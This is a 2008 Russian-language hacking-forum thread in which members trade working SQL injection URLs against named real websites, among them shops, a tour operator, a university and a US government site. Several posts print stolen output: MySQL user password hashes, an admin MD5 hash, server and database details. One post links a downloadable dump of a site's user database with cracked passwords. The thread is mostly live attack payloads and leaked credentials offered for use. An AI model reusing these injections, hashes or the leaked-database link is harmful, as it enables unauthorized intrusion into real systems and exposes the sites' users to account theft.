HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.01.2008, 01:16
fobofob
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
Провел на форуме:
1373642

Репутация: 569
По умолчанию

крупный сайт

http://groove.ru/?user=Dana&p=pages&id=-352+union+select+1,concat(user_name,0x3a,user_pass ,0x3a,user_email)+from+groove_user+limit+0,1/*


http://groove.ru/?user=Dana&p=pages&id=-352+union+select+1,concat(admin_name,0x3a,admin_pa ss)+from+groove_admin/*

юзеров больше 24000 шт

_________________________________
секес )))

http://sexsecrets.ru/?r=enciklopedia&id=-176+union+select+1,concat(user_email,0x3a,username ,0x3a,user_password),3+from+phpbb_users+limit+1,1/*

-писюн.ру

http://www.pisun.ru/?price=a&price_max=&sel_metro=-27+union+select+1,2,3,4,5,6,7,8,9,10,11,version(), 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,4 6,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62, 63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79 ,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,9 6,97,98,99,100,101,102/*

5 мускул

_________________________________

http://www.price-list.kiev.ua/cgi-bin/price_img_info.cgi?id=-3901576+union+select+1,cast(concat(email,0x3a,pass )+as+binary),3,4,5+from+users+limit+0,1/*

_________________________________

видео магазины

http://www.home-dvd.info/details.php?Id=16749+union+select+concat(email,0x3 a,pwd)+from+users+limit+10,10/*


http://www.foxmovies.ru/index.php3?id=-10595+union+select+1,2,3,4,5,concat(nick,0x3a,pass wd),7,8,9+from+_user+limit+0,1/*

_________________________________

туроператор

http://www.mirtour.ru/about/news/?id=-37+union+select+1,2,3,4,concat(manager,0x3a,manage rpass),6,7,8,9+from+discont_managers+limit+2,1/*
 
Ответить с цитированием

  #2  
Старый 16.01.2008, 02:17
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


По умолчанию

http://www.samopoznanie.com/printarticle.php?id=-1+union+select+1,concat_ws(0x2f,version(),user(),d atabase()),3,4,5/*
4.0.23a-log/lidia@localhost/samopoznanie
 
Ответить с цитированием

  #3  
Старый 16.01.2008, 09:57
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию

evrofasad.com.ua
Код:
http://www.evrofasad.com.ua/81?printID=-1+union+select+concat_ws(0x3a,version(),database(),user()),2/*&PHPSESSID=unsbr5mn81q16grk03l43fonh6
4.1.20-community-nt:db_evrofasad_new:evrofasad_user@localhost
Код:
http://www.evrofasad.com.ua/81?printID=-1+union+select+concat_ws(0x3a,user,password),2+from+mysql.user+limit+0,1/*&PHPSESSID=unsbr5mn81q16grk03l43fonh6
Код:
root:*F9412D7E95AC1E517BBDEA70B0CDA1C3A954DBA5
eurofasad:*685A8769F0EFB1A0358699E09AECB47216F2FA60
evrofasad_user:*E594B415CBFCBCBE92DE48810E7442D7E9925964
sofit:*A75C7664FF4013AC928FE355BE7BEE313295EF15
loginforum:*76A5D146549860B09B9BC8C529EDF05D95A96E90
backuper:*759E70BE56B564382083D276339AC5F660332A1C
svetofor:*F185EF1C8A14114439937712A796759943FE4C7D
viknauser:*C9EE7E827518FBB0B6452F32A3A0E74EE4348DA6
dblussole:*8303224CA73F32E099ED4D5589372A48847A4ADC
sofit_forum:*C010E6C07BCD31C8EE45D04093BB1C50A3BE7981
svt:*917B41A42ED3307B057D4462776BE6D22191E471
efplast:*890244829E7E1073887CD3BE4F3DD40ED1AE65CC
delux:*D5876B1B1A4A3233F51317EFA97D9CD60E571AA0
claroline:*6C14E3D8CE32929711BCBB4C2F7CA95EA7B2A221
integral:*6020723CC8C46038FB7E9D29E26E50357695DA69
svitkomfortu:*C0842FED9DED84F798E19B4DFAEAEC1DA180EB38
drupal:*7AFEAE5774E672996251E09B946CB3953FC67656
houses:*7EAE149B76900876ABD03DD1E4281B218A9D47F3
test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
lussoleforum:*40E10559E7BA57D182650F9AFDBFA12084402352
poselok_db_user:*A652F43B1179494CF8ED2EA752C86416540A8041
joomla:*F70658E9BDD2910AC33ACDA164605DFC1DA70A68
 
Ответить с цитированием

  #4  
Старый 16.01.2008, 12:33
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию

ccn-usa.net
Код:
http://www.ccn-usa.net/contents.php?typeid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*
4.0.23-standard:ccnusa:ccnusa@localhost

hamsy.net - походу финский спорт-сайт
Код:
http://www.hamsy.net/uutinen.php?id=-1+union+select+null,concat_ws(0x3a,version(),database(),user()),null,null,null,null/**/
PostgreSQL
5.0.51-Dotdeb_0.dotdeb.1-log:db17112:17112@62.73.58.153

Код:
http://www.hamsy.net/uutinen.php?id=-1+union+select+null,TABLE_NAME,null,null,null,null+from+INFORMATION_SCHEMA.TABLES+limit+1+offset+25--
Табы (кроме стандартных):
Код:
calendar,chat,links,news,results,team,teamuser,valikko,visitor
 
Ответить с цитированием

  #5  
Старый 16.01.2008, 13:31
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию

order.elite-games.ru
Код:
http://www.order.elite-games.ru/article.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
4.1.21-community-nt : order : order@localhost

Таба oeg_users :
Код:
http://www.order.elite-games.ru/article.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,passwd,email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+oeg_users+limit+273,1/*
Админ [логин : МД5(пасс)] :
admin : baf2c85699402cad6c8d9ff73892376f
 
Ответить с цитированием

  #6  
Старый 16.01.2008, 14:34
Saint-Sky
Участник форума
Регистрация: 14.07.2007
Сообщений: 108
Провел на форуме:
1888785

Репутация: 305
По умолчанию

http://www.qp7.ru ip:81.176.66.38
У них по-соседству(а может - на их системе) сидит MTS.ru!!! ip:81.176.70.200

http://www.qp7.ru/live/newscomp.aspx?nid=5133+or+1=(select+db_name())--
 
Ответить с цитированием

  #7  
Старый 16.01.2008, 14:46
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
По умолчанию

doprava.vhd.cz
Код HTML:
http://doprava.vhd.cz/list.php?cc=-1+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE())/*
doprava.vhd.cz@193.86.238.11:4.1.22-log:doprava_vhd_cz

meteonews.fr
Код HTML:
http://www.meteonews.fr/index.php?page=wetter_pwl&lang=en&wetter_pwl=-1+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4,5,6,7,8/*
mysql@webserver.intern:5.0.44-enterpris

db.seoulprinting.com
Код HTML:
http://db.seoulprinting.com/sub/sub_01.php?sub=1&mid=-1550+union+select+0/*
 
Ответить с цитированием

  #8  
Старый 16.01.2008, 22:02
Toxic
Новичок
Регистрация: 12.01.2008
Сообщений: 8
Провел на форуме:
39279

Репутация: 25
По умолчанию

http://www.maineservicecommission.gov/news/release.php?ID=-252+union+select+1,2,version(),database(),user(),6 ,7,8,9,10,11,12/*



http://www.mainelobsterfestival.com/release.php?ID=-13+union+select+1,2,3,version(),user(),6,database( ),8,9,10,11,12/*

http://www.wishard.edu/news/release.php?id=-38+union+select+1,version(),database(),4,user(),6/*

http://www.integralwireless.net/news_media/release.php?id=-13+union+select+1,version(),database(),4,5,user(), 7,8,9/*

http://www.peyron.com/release.php?id=-26+union+select+1,2,3,concat(version(),user()),dat abase(),6,7,8/*

http://www.daltonagency.com/release.php?id=-51+union+select+1,user,password,4,5,6,7+from+mysql .user/*

http://www.playavista.com/about/news/release.php?id=-18+union+select+1,2,3,4,5,6,convert(concat_ws(0x3b ,password,user,database())using%20latin1),8+from+m ysql.user/*

http://www.camdenme.org/news/release.php?ID=-63+union+select+1,2,3,4,user(),database(),7,8,9,10 ,11,12,13,14,version()/*
 
Ответить с цитированием

frugalreader.com что-то типа обменника книг для частников (SQL-inj + БД)
  #9  
Старый 17.01.2008, 14:47
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


По умолчанию frugalreader.com что-то типа обменника книг для частников (SQL-inj + БД)

SQL-inj:
Код:
http://www.frugalreader.com/books.php?searchMethod=basic_search&subject_id=-1+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x3a,nickname,password,email),8,9+FROM+user/*&doSearch=1&searchSubject=1&showBooks=1&title=&author=&isbn=
БД (расшифровано 4185 из 4613 (почти 91%)) паролей:

http://dinar007.by.ru/hbd/base_frugalreader.zip
Пароль к архиву: antichat.ru
 
Ответить с цитированием

  #10  
Старый 16.01.2008, 22:45
BizzyD
Участник форума
Регистрация: 02.06.2007
Сообщений: 210
Провел на форуме:
1172175

Репутация: 252
По умолчанию

Код:
http://echl.leaguestat.com/stats/player.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,concat_ws(0x3a,user,password)r,36+from+mysql.user/*
newsport@node2.leaguestat.com:echl:5.0.22-log

Код:
http://brmp3.com/player.php?id=99999+union+select+1,2,3,concat_ws(0x3a,username,password),5,6+from+users+limit+1,1/*
brmp3_mp3@localhost:brmp3_mp3:4.1.22-standard

Код:
http://www.ldmstudio.com/go/players.php?id=99999+union+select+1,2,3,4,5,6,7+from+admin/*
ldm@localhost:ldm_prima:5.0.45-community-log

Код:
http://www.nkzagreb.hr/news.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
nkzagrebhr@localhost:nkzagreb:4.1.11-Debian_4sarge7-log

Код:
http://www.mlb-players.com/players/players.php?id=99999+union+select+1,2,3,4,table_name,6+from+INFORMATION_SCHEMA.TABLES+limit+0,1/*
mlbplaye_stats@localhost:mlbplaye_stats:5.0.45-community

Код:
http://www.metalistfans.net/players.php?id=99999+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),9/*
metalistfans@localhost:metalistfans:4.0.27-log

Код:
http://www.elitegolfmanagement.com/Players.php?id=99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15/*
elitegol_webuser@boscgi0101.eigbox.net:elitegol_da tabase:5.0.45-log

Последний раз редактировалось BizzyD; 17.01.2008 в 01:02..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.